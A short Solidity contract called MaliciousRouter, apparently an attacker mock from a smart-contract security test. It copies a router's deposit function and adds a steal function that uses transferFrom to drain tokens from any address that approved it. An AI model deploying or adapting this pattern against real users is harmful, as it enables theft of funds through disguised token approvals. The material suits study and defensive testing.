contract MaliciousRouter {
    function depositWithExpiry(address, address, uint256, string calldata, uint) public {}

    function steal(uint256 amount, address from, address to, address target) public {
        (bool ok, ) = target.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, amount));
        if (!ok) revert();
    }
}
